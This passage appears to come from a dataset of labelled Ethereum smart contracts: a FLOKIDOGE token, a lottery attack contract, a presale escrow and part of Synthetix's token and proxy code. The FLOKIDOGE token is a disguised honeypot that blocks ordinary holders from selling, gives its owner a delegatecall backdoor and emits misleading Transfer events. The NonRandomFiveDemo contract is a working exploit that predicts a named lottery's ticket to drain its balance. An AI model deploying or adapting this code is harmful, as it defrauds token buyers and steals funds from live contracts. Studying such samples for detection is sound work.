mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FLOKIDOGE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,550 |
pragma solidity ^0.5.0;
interface TargetInterface {
function sendTXTpsTX(string calldata UserTicketKey, string calldata setRef) external payable;
}
contract NonRandomFiveDemo {
address payable private targetAddress = 0xC19abA5148A8E8E2b813D40bE1276312FeDdB813;
address payable private owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public payable {
owner = msg.sender;
}
function ping(uint256 _nonce, bool _keepBalance) public payable onlyOwner {
uint256 ourBalanceInitial = address(this).balance;
uint256 targetBalanceInitial = targetAddress.balance;
uint256 betValue = targetBalanceInitial / 28;
uint256 betValueReduced = betValue - ((betValue / 1000) * 133);
uint256 targetBalanceAfterBet = targetBalanceInitial + betValueReduced;
uint256 expectedPrize = (betValueReduced / 100) * 3333;
if (expectedPrize > targetBalanceAfterBet) {
uint256 throwIn = expectedPrize - targetBalanceAfterBet;
targetAddress.transfer(throwIn);
}
string memory betString = ticketString(_nonce);
TargetInterface target = TargetInterface(targetAddress);
target.sendTXTpsTX.value(betValue)(betString, "");
require(address(this).balance > ourBalanceInitial);
if (!_keepBalance) {
owner.transfer(address(this).balance);
}
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function kill() public onlyOwner {
selfdestruct(owner);
}
function () external payable {
}
function ticketString(uint256 _nonce) public view returns (string memory) {
bytes32 ticketAddressBytes = addressBytesFrom(targetAddress, _nonce);
return ticketStringFromAddressBytes(ticketAddressBytes);
}
function addressBytesFrom(address _origin, uint256 _nonce) private pure returns (bytes32) {
if (_nonce == 0x00) return keccak256(abi.encodePacked(byte(0xd6), byte(0x94), _origin, byte(0x80)));
if (_nonce <= 0x7f) return keccak256(abi.encodePacked(byte(0xd6), byte(0x94), _origin, uint8(_nonce)));
if (_nonce <= 0xff) return keccak256(abi.encodePacked(byte(0xd7), byte(0x94), _origin, byte(0x81), uint8(_nonce)));
if (_nonce <= 0xffff) return keccak256(abi.encodePacked(byte(0xd8), byte(0x94), _origin, byte(0x82), uint16(_nonce)));
if (_nonce <= 0xffffff) return keccak256(abi.encodePacked(byte(0xd9), byte(0x94), _origin, byte(0x83), uint24(_nonce)));
return keccak256(abi.encodePacked(byte(0xda), byte(0x94), _origin, byte(0x84), uint32(_nonce)));
}
function ticketStringFromAddressBytes(bytes32 _addressBytes) private pure returns(string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory ticketBytes = new bytes(5);
ticketBytes[0] = alphabet[uint8(_addressBytes[29] & 0x0f)];
ticketBytes[1] = alphabet[uint8(_addressBytes[30] >> 4)];
ticketBytes[2] = alphabet[uint8(_addressBytes[30] & 0x0f)];
ticketBytes[3] = alphabet[uint8(_addressBytes[31] >> 4)];
ticketBytes[4] = alphabet[uint8(_addressBytes[31] & 0x0f)];
return string(ticketBytes);
}
} | 1 | 3,810 |
pragma solidity ^0.4.19;
contract IToken {
function balanceOf(address _address) constant returns (uint balance);
function transferFromOwner(address _to, uint256 _value) returns (bool success);
}
contract TokenEscrow {
string public standard = 'FractalPreRelease 1.0';
string public name = 'FractalPreReleaseToken';
string public symbol = 'FPRT';
uint public decimals = 4;
uint public totalSupply = 50000000000;
IToken icoToken;
event Converted(address indexed from, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Error(bytes32 error);
mapping (address => uint) balanceFor;
address owner;
uint public exchangeRate;
struct TokenSupply {
uint limit;
uint totalSupply;
uint tokenPriceInWei;
}
TokenSupply[3] public tokenSupplies;
modifier owneronly { if (msg.sender == owner) _; }
function setOwner(address _owner) owneronly {
owner = _owner;
}
function setRate(uint _exchangeRate) owneronly {
exchangeRate = _exchangeRate;
}
function setToken(address _icoToken) owneronly {
icoToken = IToken(_icoToken);
}
function balanceOf(address _address) constant returns (uint balance) {
return balanceFor[_address];
}
function transfer(address _to, uint _value) returns (bool success) {
if(_to != owner) {
if (balanceFor[msg.sender] < _value) return false;
if (balanceFor[_to] + _value < balanceFor[_to]) return false;
if (msg.sender == owner) {
transferByOwner(_value);
}
balanceFor[msg.sender] -= _value;
balanceFor[_to] += _value;
Transfer(owner,_to,_value);
return true;
}
return false;
}
function transferByOwner(uint _value) private {
for (uint discountIndex = 0; discountIndex < tokenSupplies.length; discountIndex++) {
TokenSupply storage tokenSupply = tokenSupplies[discountIndex];
if(tokenSupply.totalSupply < tokenSupply.limit) {
if (tokenSupply.totalSupply + _value > tokenSupply.limit) {
_value -= tokenSupply.limit - tokenSupply.totalSupply;
tokenSupply.totalSupply = tokenSupply.limit;
} else {
tokenSupply.totalSupply += _value;
break;
}
}
}
}
function convert() returns (bool success) {
if (balanceFor[msg.sender] == 0) return false;
if (!exchangeToIco(msg.sender)) return false;
Converted(msg.sender, balanceFor[msg.sender]);
balanceFor[msg.sender] = 0;
return true;
}
function exchangeToIco(address owner) private returns (bool) {
if(icoToken != address(0)) {
return icoToken.transferFromOwner(owner, balanceFor[owner] * exchangeRate);
}
return false;
}
function TokenEscrow() {
owner = msg.sender;
balanceFor[msg.sender] = 50000000000;
tokenSupplies[0] = TokenSupply(10000000000, 0, 50000000000);
tokenSupplies[1] = TokenSupply(20000000000, 0, 50000000000);
tokenSupplies[2] = TokenSupply(20000000000, 0, 50000000000);
}
function() payable {
uint tokenAmount;
uint amountToBePaid;
uint amountTransfered = msg.value;
if (amountTransfered <= 0) {
Error('no eth was transfered');
msg.sender.transfer(msg.value);
return;
}
if(balanceFor[owner] <= 0) {
Error('all tokens sold');
msg.sender.transfer(msg.value);
return;
}
for (uint discountIndex = 0; discountIndex < tokenSupplies.length; discountIndex++) {
TokenSupply storage tokenSupply = tokenSupplies[discountIndex];
if(tokenSupply.totalSupply < tokenSupply.limit) {
uint tokensPossibleToBuy = amountTransfered / tokenSupply.tokenPriceInWei;
if (tokensPossibleToBuy > balanceFor[owner])
tokensPossibleToBuy = balanceFor[owner];
if (tokenSupply.totalSupply + tokensPossibleToBuy > tokenSupply.limit) {
tokensPossibleToBuy = tokenSupply.limit - tokenSupply.totalSupply;
}
tokenSupply.totalSupply += tokensPossibleToBuy;
tokenAmount += tokensPossibleToBuy;
uint delta = tokensPossibleToBuy * tokenSupply.tokenPriceInWei;
amountToBePaid += delta;
amountTransfered -= delta;
}
}
if (tokenAmount == 0) {
Error('no token to buy');
msg.sender.transfer(msg.value);
return;
}
transferFromOwner(msg.sender, tokenAmount);
owner.transfer(amountToBePaid);
msg.sender.transfer(msg.value - amountToBePaid);
}
function kill() owneronly {
selfdestruct(msg.sender);
}
function transferFromOwner(address _to, uint256 _value) private returns (bool success) {
if (balanceFor[owner] < _value) return false;
if (balanceFor[_to] + _value < balanceFor[_to]) return false;
balanceFor[owner] -= _value;
balanceFor[_to] += _value;
Transfer(owner,_to,_value);
return true;
}
} | 1 | 4,159 |
pragma solidity 0.4.25;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
